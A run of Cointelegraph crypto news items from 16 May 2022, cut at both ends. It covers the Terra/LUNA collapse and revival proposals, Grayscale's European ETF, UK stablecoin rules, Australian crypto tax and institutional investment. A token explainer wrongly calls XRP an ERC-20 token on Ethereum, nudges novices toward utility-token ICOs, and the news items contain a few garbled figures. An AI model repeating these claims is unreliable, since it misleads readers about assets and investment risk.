Meanwhile, crypto enthusiasts with staked LUNA tokens should see their tokens returned to their wallets in the next 20 days. However, they will be worth less, as LUNA’s price has fallen over 99% since its highs, currently sitting at $0.0002.

Related: LUNA meltdown sparks theories and told-you-sos from crypto community

What was once a $50 billion ecosystem now has a total reserve balance of $82 million, prompting popular crypto influencer Cobie to simply respond to the thread with “Bruh.”

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Date of publish: Mon, 16 May 2022 11:44:26 +0100

Grayscale announced its first European ETF, listing on the London Stock Exchange, Borsa Italiana and Deutsche Börse Xetra.

Crypto investment giant Grayscale is expanding operations by launching a new crypto-linked exchange-traded fund (ETF) in Europe.

Grayscale officially announced its first European ETF, called Grayscale Future of Finance UCITS ETF, on Monday. A spokesperson for Grayscale told Cointelegraph that the ETF will begin trading on Tuesday.

The new investment product is getting listings on major European stock exchanges, including the London Stock Exchange, Borsa Italiana as well as Deutsche Börse’s electronic trading platform Xetra. Listed under the ticker symbol GFOF, the ETF will also be passported for sale across Europe.

An exciting milestone: Announcing our first European ETF, Grayscale Future of Finance UCITS ETF — listing on London Stock Exchange (LSE), Borsa Italiana, and Deutsche Börse Xetra.
https://t.co/kwmWSxvOiV

— Grayscale (@Grayscale) May 16, 2022

Launched in partnership with Bloomberg, GFOF UCITS ET tracks the performance of the Bloomberg Grayscale Future of Finance Index. Bloomberg and Grayscale jointly introduced the index in January 2022, aiming to track the digital economy, focusing on the three main directions of technology, finance and digital assets.

According to the announcement, the new ETF includes companies directly involved in cryptocurrency mining, energy management and other activities in the digital asset ecosystem. According to the official information about the fund, the ETF tracks firms like the crypto-friendly trading app Robinhood, PayPal, Block, Coinbase, Canaan and others.

“Through GFOF UCITS ETF, European investors now have the opportunity to receive exposure to the companies that are pivotal to the evolution of the global financial system,” Grayscale’s global head of ETFs David LaValle said.

Grayscale also collaborated with Europe’s white-label issuer HANetf to create the new investment product. The issuer is known for cooperating on blockchain ETFs with companies like ETC Group.

A spokesperson for Grayscale told Cointelegraph that the new ETF launch is an important milestone both for the company's growth and the digital asset ecosystem, stating:

"We believe that the most exciting thing about the digital economy is the fact that we’re still so early in its development [...] That’s the vision that drove the creation of GFOF, the opportunity to capture value from transformative companies that are, and will be, embracing or building the future of finance and our global digital economy.”

Grayscale is one of the world’s largest Bitcoin (BTC) investment companies, providing the Grayscale Bitcoin BTC Trust (GBTC) with $18.3 billion in assets under management. Amid massive market volatility, GBTC recorded a significant decline, trading at a nearly 31% discount on Friday.

The firm has been aggressively pushing its Bitcoin spot ETF, with CEO Michael Sonnenshein claiming that Grayscale was gearing up for a legal fight with the United States Securities and Exchange Commission if its ETF is denied. The firm reportedly tried to persuade the SEC that turning the biggest BTC fund into an ETF would unlock $8 billion for investors.

Related: Why the world needs a spot Bitcoin ETF in the US: 21Shares CEO explains

The news comes amid the increasing adoption of crypto and industry-related ETFs worldwide, with total assets invested in crypto ETFs hitting $16.3 billion in Q1 2022.

21Shares, a major crypto ETF issuer in Europe, recently expanded its investment offering with a layer-1 (L1) and decentralized finance (DeFi) infrastructure exchange-traded products (ETPs).

Listed on SIX Swiss Exchange on Thursday, the 21Shares Crypto Layer 1 ETP (LAY1) offers investors exposure to the five largest blockchains in the DeFi industry. The 21Shares DeFi 10 Infrastructure ETP (DEFI) will list on the same exchange on Wednesday.

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Date of publish: Mon, 16 May 2022 10:55:34 +0100

Doom and gloom and an overall sense of unease pervades the market ahead of the World Economic Forum.

Bitcoin (BTC) starts a new week under $30,000 as the battle to save the market from fresh lows grinds on.

After hitting its highest since the Terra (LUNA) crash last week, the largest cryptocurrency nonetheless continues to fail to reclaim $30,000 as support.

What could be in store this week? The potential for major upheaval from macro players, notably the United States Federal Reserve, is shapeshifting this week ahead of the World Economic Forum.

At the same time, internal crypto market pressure remains as the implications of LUNA’s collapse continue to play out.

Cointelegraph takes a look at five potential BTC price movers for the coming days.

Record weekly downside greets bulls

The sense of caution among traders is palpable this week after the past seven days upended market expectations.

When Blockchain protocol Terra’s LUNA and TerraUSD (UST) tokens imploded, their decline ricocheted throughout crypto markets and Bitcoin was, naturally, no exception.

After dipping to near its realized price just below $24,000, BTC/USD staged something of a V-shaped recovery to bounce past $31,000 in the following few days. That strength, however, now appears limited, as $30,000 proves to be a stubborn level to win over for good.

While the picture looks decidedly more reassuring than that of some altcoins, traders are keeping away from any firmly bullish price takes.

A key narrative gaining traction revolves around current levels forming the basis of a relief bounce which will ultimately end not just in rejection but an attack on lower lows than those from last week.

$BTC / $USD - Update

This for me is the best case scenario on #Bitcoin due to the rejection and 3 wave confirmation. We either drop to new lows from here, or we complete the C wave flat then pump once more

If your a scalper this will be heaven for you over the next few days pic.twitter.com/LNvVbpXPG6

— Crypto Tony (@CryptoTony__) May 16, 2022

“Just as us bulls fought the trend for the past few weeks, I think bears about to deny or refuse any more upside,” popular Twitter account IncomeSharks said in part of two recent posts on the BTC/USD outlook.

It added that those only now flipping bearish, however, will “get too stuck in their bias.”

Fellow trader Crypto Tony, meanwhile, said that the pair needs to reclaim $31,000, not just $30,000, in order to continue higher thanks to the former marking the highs of the week’s range.

Zooming out, the picture hardly seems any less precarious than on hourly or daily timeframes.

The weekly BTC/USD chart, despite the modest recovery, closed its seventh red candle in a row on May 15 — the first time in history that such an event has occurred. The week closed out at around $31,300, data from Cointelegraph Markets Pro and TradingView shows.

Pondering whether protracted downside could continue much longer — even beyond 2022 — Twitter user Nunya Bizniz noted that leading into block subsidy halvings, Bitcoin has historically been far below all-time highs.

As such, it would fit historical precedent for BTC/USD to trade significantly under $69,000 at the time of its next halving in two years’ time.

BTC weekly:

At halvings, price has been considerably below ATH.

Makes me☹️

Different this time? pic.twitter.com/gQlQCEbW4w

— Nunya Bizniz (@Pladizow) May 16, 2022

DXY just won’t quit as Davos looms

Last week saw the Fed grapple with inflation, rate hikes and geopolitical strife, all factors that were ironically eclipsed almost immediately by Terra.

By contrast, no announcements of such significance are expected this week, but the underlying tensions have not gone away.

As such, the Russia-Ukraine war, inflation and measures being undertaken to mitigate it remain the topic du jour for central banks around the world. This will, no doubt, be a major topic of the World Economic Forum as the 2022 event begins on May 22.

The Forum, and the potential for Bitcoin-related soundbites from attendees both positive and negative, will follow a different gathering this week in El Salvador, where representatives of 44 countries will discuss Bitcoin.

“Tomorrow, 32 central banks and 12 financial authorities (44 countries) will meet in El Salvador to discuss financial inclusion, digital economy, banking the unbanked, the Bitcoin rollout and its benefits in our country,” President Nayib Bukele confirmed on May 15.

At the same time, the United States dollar refuses to quit when it comes to strength versus major trading partner currencies.

The U.S. dollar index (DXY), despite local consolidatory phases, remains in a firm uptrend which has denied bears a macro top for months.

DXY hit 105 on May 9, its highest since the week of Dec. 9, 2002.

“At the same time, the Euro is testing it's 5-year lows vs the U.S. Dollar,” analyst Blockchain Backer tweeted as part of a thread on the macro environment as it relates to crypto:

“The Euro is a major component of the U.S. Dollar Currency Index (DXY), and historically has been acting inversely to the DXY.”

DXY traditionally pressures stocks and crypto markets as well, the latter, nonetheless, showing correction structures already seen in bear markets, Blockchain Backer argues.

“So, we have a lot of things happening here. Dow Jones below support break from last week. DXY in 20-year highs. EURUSD on support. Altcoin Market and Ethereum with similar correction structures seen before. But, no coins are flying as if a reversal is in,” the thread continued.

Tether crawls back from 5% depegging

Regardless of upcoming events, it is the ghost of last week’s mayhem that is haunting the market on May 16.

The aftermath of the collapse of UST and LUNA tokens is not yet fully understood as data continues to trickle in about both the breakdown and the company’s plans to mitigate the fallout.

Some facts appear clear, yet have not been officially corroborated, such as mass selling of the Luna Foundation Guard’s (LFG) BTC reserves. Others remain rumors, notably mass insolvencies of organizations with LUNA and UST exposure.

What happens next is equally unclear, and as Blockchain Backer notes, no one knows for sure whether the sell-off is done.

“Last week there was a devastating hit on LUNA and UST. We don't know the complications of this and who took collateral damage from it yet,” it summarized:

“Were there other treasuries exposed to this? Has LFG sold off all their Bitcoin reserves, or is there more left? We don't know.”

Attention is not just on UST, however, but on the industry’s largest stablecoin by market cap. Tether (USDT) saw its dollar peg slip last week, and despite there being no signs of a repeat UST performance, 1 USDT still does not fully equal 1 USD as of May 16.

“When things started hitting the fan for TerraUSD, it started with a small slip, then spun out of control,” Blockchain Backer added.

As Cointelegraph recently reported, Tether’s creators have vocally defended USDT’s ability to ride out the storm, thanks to its structure being inherently different from UST and algorithmic stablecoins in general.

“Over the next few weeks, we will start to know the full extent of damage as reports of significant losses and collapses emerge,” Crypto trading firm QCP Capital told Telegram channel subscribers in its latest update on May 13:

“In spite of the carnage however, we are heartened by the resilience we’ve seen in particular segments of crypto.”

LUNA continues to see uncontrolled volatility, making it all but impossible to chart on any timeframe, and at the time of writing on May 16 traded at 0.00023 on Bitfinex.

Analyst: Institutions stepping up to buy

Is anyone buying Bitcoin? Data says that the answer to this is a firm “yes” from certain market segments.

In an analysis released on May 16, Ki Young Ju, CEO of analytics platform CryptoQuant, highlighted interest from institutional investors as a key phenomenon of Bitcoin between $25,000 and $30,000.

Ki explained that while the LUNA debacle had forced bids down toward $25,000, overall bids had remained the same for a year. Not only that, but those bids could now be mitigating the sell-offs related to Terra.

“If you see the BTC-USD order book heatmap for Coinbase, it’s pretty thick bid walls since the latest bear market in May 2021,” he noted.

“I think institutions tried to stack $BTC from $30k but had to rebuild the bid walls at $25k due to the unexpected LFG selling.”

An accompanying chart shows how events played out on Coinbase, the exchange that Ki says received the bulk of Terra-related funds for sale.

As Cointelegraph previously reported, meanwhile, the world’s first Bitcoin spot price exchange-traded fund (ETF) added a record intraday amount of BTC to its assets under management last week as two Australian ETFs began operating.

Bitcoin address growth contrasts sentiment woes

It is likely not surprising that crypto market sentiment remains on the floor.

Related: $1.9T wipeout in crypto risks spilling over to stocks, bonds — stablecoin Tether in focus

Reflecting nerves over price stability, the Crypto Fear & Greed Index is firmly in “extreme fear” territory this week at 14/100.

Having hit historical bottom territory last week, the recovery has been conspicuously less robust than the original fall, which took the Index from 27/100 to 10/100 in five days.

Behind the scenes, however, all may not be as bleak as it seems.

Data from on-chain monitoring firm Santiment last week shows that amid the chaos, unique Bitcoin addresses continue to grow.

“The silver lining to this -33% drop the past 3 weeks is that $BTC’s address activity has remained steady,” it wrote in Twitter comments:

“The divergence between addresses & price is at a 16-month high.”

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph.com. Every investment and trading move involves risk, you should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 09:58:04 +0100

During the Queen's Speech, Prince Charles announced the introduction of a bill that would help tackle illicit finance, reduce economic crime and help businesses grow.

United Kingdom’s Department of Treasury, or Her Majesty's Treasury, has reportedly decided to go ahead with regulating stablecoins as legal tender. While welcomed by the crypto community, the decision comes as a shocker due to its proximity to the recent fall of the popular algorithmic stablecoin, TerraUSD (UST).

A local report from The Telegraph highlighted the Treasury’s intent to regulate stablecoins across Britain, which was revealed during the Queen’s Speech. During the speech, Prince Charles announced the introductions of new legislation across various sectors, including measures to drive economic growth to improve living standards in the region, adding:

“A bill will be brought forward to further strengthen powers to tackle illicit finance, reduce economic crime and help businesses grow [Economic Crime and Corporate Transparency Bill].”

Cointelegraph’s report from April 4 called attention to the United Kingdom’s Economic and Finance Ministry, which cited the amendment of its existing regulatory framework for incorporating stablecoins as a means of payment.

Economic Secretary @JohnGlenUK announced today that stablecoins will be brought into UK payments regulation.

This places the UK financial services sector at the forefront of technology, creating conditions for stablecoin issuers and service providers to operate and invest. pic.twitter.com/14SsIGW5bf

— HM Treasury (@hmtreasury) April 4, 2022

While the recent crash of the Terra ecosystem — which saw an unrecoverable downfall of LUNA and UST — was expected to raise red flags among the regulators, the U.K. Treasury maintains its course “to ensure the U.K. financial services industry is always at the forefront of technology and innovation,” as previously stated by the Chancellor, Rishi Sunak.

However, the Treasury’s plan does not involve legalizing algorithmic stablecoins and instead prefers 1:1 fully-backed stablecoins like Tether (USDT) or USD Coin (USDC). According to the Treasury spokesman:

“Legislation to regulate stablecoins, where used as a means of payment, will be part of the Financial Services and Markets Bill which was announced in the Queen’s Speech.”

By legalizing stablecoins for the U.K. market, the Treasury aims to open up growth opportunities while ensuring financial stability as it introduces new financial technologies. Underscoring the fact that the value of Terra’s UST token was tied to a different cryptocurrency, the spokesperson stated:

“The Government has been clear that certain stablecoins are not suitable for payment purposes as they share characteristics with unbacked crypto assets.”

Related: SEC’s Hester Peirce says new stablecoin regs need to allow room for failure

Commissioner Hester Peirce of the United States Securities and Exchange Commission (SEC) recently highlighted the need for “room for there to be failure” while backing a regulatory framework for stablecoins.

I'd be happy to talk about how to achieve the SEC's regulatory objectives without impeding the trial and error that is so essential to innovation. CommissionerPeirce@sec.gov

— Hester Peirce (@HesterPeirce) May 14, 2022

While speaking at an online panel, Peirce mentioned the rising interest in stablecoins among regulators. As Cointelegraph reported, Peirce urged the SEC to provide exemptions to particular technologies, whic would allow for necessary experimentation:

“We need to allow room for there to be failure because that obviously is part of trying new things and our framework really does allow for that kind of trial and error. I hope that we will use it for that purpose.”

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Date of publish: Mon, 16 May 2022 09:18:37 +0100

“Remember, you can’t offset your crypto losses against your salary and wages,” said ATO assistant commissioner Tim Loh.

The Australian Taxation Office (ATO) has outlined crypto capital gains as one of four key areas of focus in 2022.

A capital gain or loss refers to the price difference between the time an asset was purchased and the time it was sold. The percentage owed to the ATO varies between income brackets and duration of ownership, but in general, the rate is reduced for assets held longer than 12 months.

The ATO, which has fired off many warnings to crypto investors over the past few years, has also directly mentioned nonfungible tokens (NFTs) as an asset class that will be scrutinized for correct tax reporting.

According to a Monday announcement, alongside capital gains from crypto, property and shares, the ATO will also look at record-keeping, work-related expenses and rental property income/deductions.

With the prices of most crypto assets suffering from major losses in 2022, the ATO noted that any sold crypto asset, including NFTs, needs to have a calculated capital gain or loss recorded with it and will be “taking firm action” to deal with taxpayers who try to falsify their records.

ATO assistant commissioner Tim Loh also suggested that the taxation body already has a fair idea of people’s investment activity but urged everyone to keep diligent records to avoid any penalties, stating:

“While we receive and match a lot of information on rental income, foreign-sourced income, and capital gains events involving shares, crypto assets, or property, we don’t pre-fill all of that information for you.”

Related: Aussie crypto ETFs see $1.3M volume so far on difficult launch day

Loh also went on to note that the ATO has seen a significant rise in local crypto investors who may not be aware of the correct reporting methods:

“Crypto is a popular type of asset and we expect to see more capital gains or capital losses reported in tax returns this year. Remember you can’t offset your crypto losses against your salary and wages.”

“Through our data collection processes, we know that many Aussies are buying, selling, or exchanging digital coins and assets so it’s important people understand what this means for their tax obligations,” he added.

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Date of publish: Mon, 16 May 2022 06:51:33 +0100

The major game developer is reshaping its business strategy to include a more robust NFT ecosystem by investing in blockchain gaming infrastructure.

Gaming giant Square Enix has revealed in its Q1 earnings report that it will expand nonfungible tokens (NFTs) into more game products as part of its medium-term business strategy in 2022.

Square Enix (SE) is a Japanese game developer with $3 billion in assets under management, according to its latest earnings report. The firm owns the Final Fantasy property and sold the Tomb Raider franchise for $300 million on May 3.

The report states that the firm piloted NFTs on the Shi-San-Sei Million Arthur game starting in February this year. The success of the pilot program will lead to the second season of the game’s NFTs and will ultimately see the firm pursue broader activities in the NFT and blockchain industries.

Among the top priorities of its blockchain domain initiatives, SE plans on establishing regulatory clarity and guidelines for blockchain games, tackling scalability in NFT economies and considering founding a corporate capital venture unit.

The firm also stated that it plans on establishing an overseas entity that will handle “issuing, managing, and investing our own tokens,” suggesting the firm will begin creating an expansive gaming-token economy.

SE has been working with Web3 gaming and metaverse venture capital firm Animoca Brands to explore its options in the blockchain gaming space. Cooperation between the two firms is expected to grow as SE delves further into the ecosystem.

Animoca’s executive chairman Yat Siu believes Square Enix’s influence in gaming will only help the firm form a foothold in blockchain gaming. He told Cointelegraph on Monday:

“Square Enix has already been talking about the potential of blockchain games for a long time, so it gets it better than most of the traditional gaming giants out there.”

Related: GameFi is showing signs of a mature landscape: Report

The report puts investments in and monetization of blockchain, artificial intelligence (AI) and cloud computing as its third objective in its medium-term business strategy. This is in line with CEO Yosuke Matsuda’s expressed intention for his company to become more involved in those technologies in January.

.@animocabrands & @TheSandboxGame are very honored to be highlighted as key investment areas for @SquareEnix I spent countless hours playing @FinalFantasy in the #80's which continues to be one of the most influential RPG games in gaming history #NFT https://t.co/KcgmhHv1CO pic.twitter.com/PnMWHs4iTj

— Yat Siu (@ysiu) May 16, 2022

The popularity of Web3 and NFT gaming has remained robust throughout 2022 despite a general crypto market downturn. Market tracker DappRader shows that there were 1 million daily active gamers on Saturday, nearly the same level as on January 1.

However, gamers are not buying as much as they used to, as total sales volume for NFT game items has dropped 88% from $70 on January 1 to $8.7 million on Saturday.

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Date of publish: Mon, 16 May 2022 06:34:57 +0100

The global head of digital assets for Goldman Sachs said the demand for cryptocurrency from institutions is rising and the firm has been “actively broadening” its market capabilities to cater to that demand.

Banking giants Goldman Sachs and the United Kingdom’s Barclays have joined a $70 million Series A funding round for the institutional crypto trading platform Elwood Technologies, founded by billionaire British hedge fund manager Alan Howard.

Joining the round was crypto-friendly German bank Commerzbank, crypto investment manager Galaxy Digital and Dawn Capital, as reported by the Financial Times on Sunday. The fundraising round valued the company at around $500 million, according to the report.

Despite the recent fall in crypto markets, Elwood said it’s betting that traditional financial institutions such as hedge funds and banks will still be interested in investing in cryptocurrencies. Elwood’s funding round was already agreed to and in motion before the latest drop in prices, which has seen roughly 15% wiped off the total crypto market cap since May 9, according to CoinMarketCap.

Elwood Technologies CEO James Stickland said the fundraising was “another validation of the longevity of crypto” brushing off the falling prices from the last few weeks:

“We’re getting investment from financial institutions that aren’t expecting to get massive returns in 15 minutes. They’re investing in the infrastructure, I think it’s a reassurance message.”

Elwood Technologies provides a crypto portfolio management system with crypto market information and trading infrastructure for institutional investors that features an interface that connects to crypto exchanges, liquidity providers and custodians.

Commenting on the deal was Goldman Sachs’ global head of digital assets Mathew McDermott, saying that the investment showed that the firm has “continued commitment” to cryptocurrencies, adding:

“As institutional demand for cryptocurrency rises, we have been actively broadening our market presence and capabilities to cater for client demand.”

The funding from Goldman Sachs marks the bank’s further expansion into crypto assets. The investment bank was the first to offer a loan backed by Bitcoin (BTC) to crypto exchange Coinbase in early May. It has long seen an interest in the space, even referring to digital assets and the Metaverse as “megatrends” in March.

Related: Decentralized and centralized finance need to collaborate

Another case of the Wall Street giant cozying to crypto firms saw a meeting between Goldman CEO David Solomon and FTX CEO Sam Bankman-Fried, which included an offer from Solomon to help FTX with future funding rounds and regulatory compliance.

As for Elwood Technologies, it will remain majority-owned by Alan Howard, who was the main investor before the Series A round. Howard co-founded the hedge fund Brevan Howard which launched its crypto investment division BH Digital in September 2021.

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Date of publish: Mon, 16 May 2022 05:30:43 +0100

Vitalik Buterin has called for relief for the average UST smallholder who got lured in by promises of high stablecoin yields by crypto influencers.

Ethereum co-founder Vitalik Buterin thinks that the beleaguered Terra project should prioritize small hodlers as part of any proposed reimbursement plan.

As widely reported, the Terra eco-system suffered a death spiral around May 9 that resulted in LUNA tanking 100% and the TerraUSD (UST) stablecoin losing its United States dollar peg, priced at $0.16 at time of writing.

With LUNA and UST investors reeling from substantial losses, the community is now looking at ways to reestablish the ecosystem and potentially offer relief to the many people who got burned financially.

One such community proposal — assuming the UST dollar peg is eventually stabilized — is to first reimburse all of the initial deposits (not yield) of small UST holders to “greatly improve general morale and sentiment” while figuring out how to sort creditors and larger investors later. The payout is estimated to cost between $1 billion to $1.5 billion.

Buterin showed support for the idea via Twitter on Sunday, noting that the focus should be on the smaller investor who needs the money, before going a step further by suggesting that the whale hodlers should cop the loss:

“Coordinated sympathy and relief for the average UST smallholder who got told something dumb about ‘20% interest rates on the US dollar’ by an influencer, personal responsibility and [sorry for your loss] SFYL for the wealthy.”

While the Ethereum co-founder didn’t explicitly call for regulation, he did highlight that potential covers such as financial deposit insurance could be useful in these circumstances.

“An interesting unrelated one is Singapore employment law. Stronger regulation for low-earning employees, and a more figure-it-out-yourself approach for the wealthier. IMO things like this are good hybrid formulas” he said.

The obvious precedent is FDIC insurance (up to $250k per person)

An interesting unrelated one is Singapore employment law. Stronger regulation for low-earning employees, and a more figure-it-out-yourself approach for the wealthier.

IMO things like this are good hybrid formulas. pic.twitter.com/25XkfE8UVc

— vitalik.eth (@VitalikButerin) May 14, 2022

At this stage, it is unclear if the project will be able to rebuild or if it will aim for a temporary resurgence to recoup investor losses, however difficult that may be. It is also worth noting that the proposal relating to Buterin’s comments was updated over the week and is now weighing up paying out all users up to a per-wallet cap of $50,000.

Related: Buterin donates $4M to Uni of NSW for pandemic detection tool

Another idea being floated around online is to develop a hard fork upgrade for the Terra blockchain dubbed “TERRA 2,” while also launching a liquidity pool to bring UST back to its peg.

Binance founder and CEO Changpeng Zhao slammed this notion over the weekend, however, noting on Twitter that “forking does not give the new fork any value. That’s wishful thinking.”

Prior to the LUNA and UST crash, the Luna Foundation Guard held around $2.7 billion worth of Bitcoin (BTC). In reference to the pool idea to rebuild UST, CZ also questioned “where is all the BTC that was supposed to be used as reserves?”

Personal opinion. NFA.

This won't work.
- forking does not give the new fork any value. That's wishful thinking.
- one cannot void all transactions after an old snapshot, both on-chain and off-chain (exchanges).

Where is all the BTC that was supposed to be used as reserves? https://t.co/9pvLOTlCYf

— CZ Binance (@cz_binance) May 14, 2022

Terraform Labs founder Do Kwon — who resurfaced online late last week — has also proposed a reconstitution of the Terra blockchain to reset “network ownership” and distribute 1 billion LUNA tokens to the community.

Kwon’s proposed “Terra Ecosystem Revival Plan,” however, has seen strong pushback from popular figures in the crypto community such as Dogecoin (DOGE) co-founder Billy Markus, who has called for Kwon to leave the sector and also noted:

“If they wanna pay off the victims of their dumbass failed protocol, instead of using new money from new victims, they should use the money they already funneled from investors to pay them back.”

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Date of publish: Mon, 16 May 2022 05:12:55 +0100

The operator of a major validator node on Terra is displeased with how events unfolded leading to the cessation of the chain and hopes a whole new blockchain will be created to replace it.

As the dust settles from the Terra ecosystem crash and the community decides what the next steps should be, the CEO of a validator runner in South Korea thinks the old Terra chain should be shut down permanently.

Jiyun Kim, CEO of blockchain solutions company DSRV, wrote an opinion post on his own behalf, detailing how the Terra team tip-toed around the idea of halting block production while Terra (LUNA) prices crashed and its TerraUSD (UST) stablecoin was depegged. He now urges validators in the Terra ecosystem to reject a hard fork in favor of a brand new community-driven blockchain.

DSRV runs a validator node on Terra with 9.36% of the on-chain voting power. DSRV has suffered as much as any investor because its node had collected 14 billion LUNA, worth about $1 trillion by May 8, which is now worth about $3 million.

Kim wrote that the decision to halt the chain on May 12 was not taken lightly by the Terra Validator League, which was renamed the “Terra Rebirth League.” However, he said the Terra team failed to give the proper notification using the word “Confirm” to actually confirm with all validators that they should halt the chain, which left him feeling “betrayed.” He wrote:

“And the announcement that they made [made it sound like] the chain restart was originally the validator’s opinion. YES, they didn’t use the term ‘Confirm.’”

Terra founder Do Kwon proposed reconstituting the chain and resetting token supply to 1 billion LUNA on Friday. Kim appears to completely disagree with Kwon as he wrote in his post that re-using the Terra chain “is completely making Terra chain’s internal value to 0:”

“The previous Terra chain should permanently vanish. And a completely new chain driven by the community should [be made to] save the Lunatics.”

There may be more to the story, as Kim wrote in his post that validator league control has been relinquished to the community, giving a semblance of decentralization, which could potentially protect the Terra team from further legal burdens. He wondered if the project is preparing to deal with imminent legal hurdles by asking, “maybe this can be used to mitigate their legal risk?”

Related: Binance CEO CZ to support Terra community but expects more transparency

Wu Blockchain tweeted on Saturday that a resident of Singapore has already filed suit against Do Kwon for UST and LUNA investors.

A user on reddit claimed to have sent a police report have been made against Do Kwon, on behalf of UST and Luna investors. He said at least 1,000 Singapore citizens have invested in Luna and UST. https://t.co/eIQ9AGul4T https://t.co/YzPf8iWHI7

— Wu Blockchain (@WuBlockchain) May 14, 2022

Kim told Cointelegraph on Monday that he wants to “save the community” but that there is no major coordinator in victim support efforts “because there are still legal issues there:”

“I’m not a hero, but I really want to save people.”

On May 8, a sell-off of UST tokens sparked a panic, ultimately leading to the price of LUNA to fall from $73 to a minuscule $0.000000999967 on Friday, according to CoinGecko. UST is still catastrophically depegged from the dollar, trading at $0.16, while LUNA is virtually worthless, trading down 30.8% over the last 24 hours at $0.00026619.

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Date of publish: Mon, 16 May 2022 04:03:15 +0100

With both types of tokens forming the bulk of crypto-asset purchases, both utility and equity tokens serve different purposes. Read here!

Utility tokens vs. equity tokens

Investors familiar with the concept of equity investing will find equity tokens to be an extension of the same thought process as initial public offerings while those with a riskier appetite can venture into plonking their capital on the utility tokens in which they believe.

One glaring difference between utility and equity tokens is the fact that the former is not regulated as they provide access to a service rather than a specific investment in an asset or company as do equity tokens. 

However, for those asking the question of whether utility tokens can be traded, the answer is that they are similar to equity tokens in this aspect and are available for trading on various exchanges. 

To answer whether utility tokens are good investments though, any money put into a utility token needs to be weighed against the prospects of the service being offered by the issuing company and the potential rise in its demand to generate returns for token holders.

On the other hand, equity tokens are regulated and issued by existing firms that are already in business and provide token holders with voting rights that allow them to participate in the working of the company. 

For novice crypto investors, it seems more prudent to invest in equity tokens as they are an extension of equity shares on the traditional stock market and are an easier concept around which to wrap oneself. 

However, if you believe in the prospects of a blockchain project like XRP and want to gain an early mover advantage, it may be more beneficial to put your money on a utility token ICO and ride the demand wave to generate handsome returns in the process. 

Do remember that utility tokens are not treated as a security and therefore, will have a higher risk involved when investing. Either way, it is important to read all the terms and conditions before investing money and understand the applicable fees that are levied on redemption or while trading these tokens on the various exchanges available in the crypto market.

What is an equity token and what are some popular examples of equity tokens?

Considered to be a subset of security tokens, equity tokens offer a multitude of benefits to their token holders, making them apt for crypto investors who would like to participate in the decision-making process of the issuing company.

Equity tokens represent equity in an underlying asset, which is usually the stock of a company, with all the terms and conditions recorded on the blockchain. Moreover, they are regulated by the securities law of the country in which the issuing company is based and which guarantees legal protection for its investors. 

Equity tokens issued through the equity token offering process also offer their holders the benefit of voting transparently on the issuing company’s matters through the blockchain, thereby facilitating the investor community’s acquisition of control in proportion to their holdings.

An application of Ethereum-based smart contracts conforming to ERC-20 standards, equity tokens allow holders to become shareholders in the token-issuing company, and all money invested is linked with the company’s performance. 

Token holders maintain the right to get a share of the profits in the form of dividends and the value of the token is usually not linked to its demand on the crypto market but rather to the performance of the issuing company. 

Some examples of equity tokens include Enegra (EGX) and BFToken, which have performed decently since listing.

How different are security tokens from utility tokens?

Security tokens represent the ownership of the principal company and differ from utility tokens in how their value is derived. Being regulated by governmental agencies that provide oversight in financial markets, they are considered much safer and offer returns in proportion to the issuing entity’s financial performance.

Security tokens have the potential to end up being one of the most encouraging cases for blockchain technology yet. In contrast to utility tokens, which were discussed above, security tokens represent the ownership of a digital or even physical asset such as real estate or anything else that is tangible. 

Representing a unique method for companies to raise capital on the cryptocurrency market, security tokens allow companies to sell stock in a digital form or as a tokenized equity and provide ownership opportunities for a large swathe of investors at a low entry point.

These tokens represent the convergence of the traditional financial industry and the revolutionary crypto market where investors can invest in non-crypto businesses while enjoying the benefits offered by cryptographic tokens. 

Unlike utility tokens, however, security tokens are regulated by bodies such as the U.S. Securities and Exchange Commission since they represent real ownership of underlying assets. 

Subsequently, security tokens are issued through the security token offering process and can represent a very small monetary value of the company or firm, making it possible for a more geographically dispersed population to own the underlying entity as compared to traditional equity market offerings.

Is Bitcoin a utility token?

Considered to be the most popular cryptocurrency and also the coin with the largest market capitalization, Bitcoin was designed to be a purely digital currency for peer-to-peer exchange.

Cryptocurrencies like Bitcoin (BTC) or Ethereum (ETH) are encoded into the software protocols of their respective blockchains and have digital assets native to their ecosystem. Therefore, BTC is considered to be a cryptocurrency in its truest sense and is used to transfer monetary value on Bitcoin’s peer-to-peer network.

Crypto tokens, on the other hand, have a transaction behavior that is the result of being implemented by smart contracts instead of being built into the blockchain software, itself. 

Similarly, many investors wonder if Ripple (XRP) is a utility token. XRP and Basic Attention Token (BAT) are basically ERC-20 tokens that run on the Ethereum network wherein XRP is used to facilitate Ripple’s enterprise-grade payment solutions, which are faster, transparent and more cost-effective than traditional financial services. 

BAT is driving the Brave browser’s global private ad platform, which has 54 million monthly active users and 1.4 million verified creators, benefitting from arguably one of the most successful blockchain projects to date. Both are classic examples of utility tokens that have grown multiple folds in price terms since their ICOs due to the immense value they have created since their launch.

What is a utility token?

Commonly issued during an ICO, utility tokens provide token holders with privileged services and aren’t considered to be investments as they are speculative and act more like promotional tools for the issuing company.

Usually associated with initial coin offerings (ICOs), a utility token is a special type of cryptographic asset that is primarily aimed at garnering the funds necessary to develop a cryptocurrency project. Investors may purchase these utility tokens in different cryptocurrencies or even fiat currencies, and prices are generally static during the initial stages. 

These utility tokens, once purchased, are stored in a crypto wallet associated with the buyer and can be used to access services provided by the blockchain project.

Moreover, utility tokens do not represent any ownership stake in the project being invested in and instead, allow the holder to buy or sell the underlying tokens on a preferential basis. 

The value of utility tokens usually fluctuates, depending on the demand for the project and may generate profits for the token acquirer if the project ends up reaching its intended purpose with reasonable success.

Crypto tokens vs. crypto coins

Although crypto coins and tokens fall under the broader umbrella of cryptocurrencies, subtle technical differences between the two make each unique and warrant that investors understand these variances.

While crypto tokens and coins are largely the same from the end-user perspective, there are technical differences in how they are built on a blockchain that are important to understand.

Making matters more befuddling for new investors, crypto tokens can be classified into three types: utility tokens, security tokens or equity tokens. In the subsequent sections, we will focus on the differences between utility and equity tokens, and how these dissimilarities ought to drive decision-making when it comes to investment.

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Date of publish: Mon, 16 May 2022 02:00:00 +0100

The effects of social media on the mental health of kids and teens have been bad enough — will the Metaverse be a safe place for them?

How to protect kids and teens in the Metaverse

Protecting young individuals is a shared responsibility. Therefore, parents must closely monitor their children’s activities in the Metaverse.

As with anything else, the Metaverse has its advantages and disadvantages. As a parent, being aware of these risks and taking measures to protect your children from them is paramount. To start with, closely monitor your child’s online activity. Restrict their access to potentially harmful content and keep a close watch on what they see and do in the Metaverse.

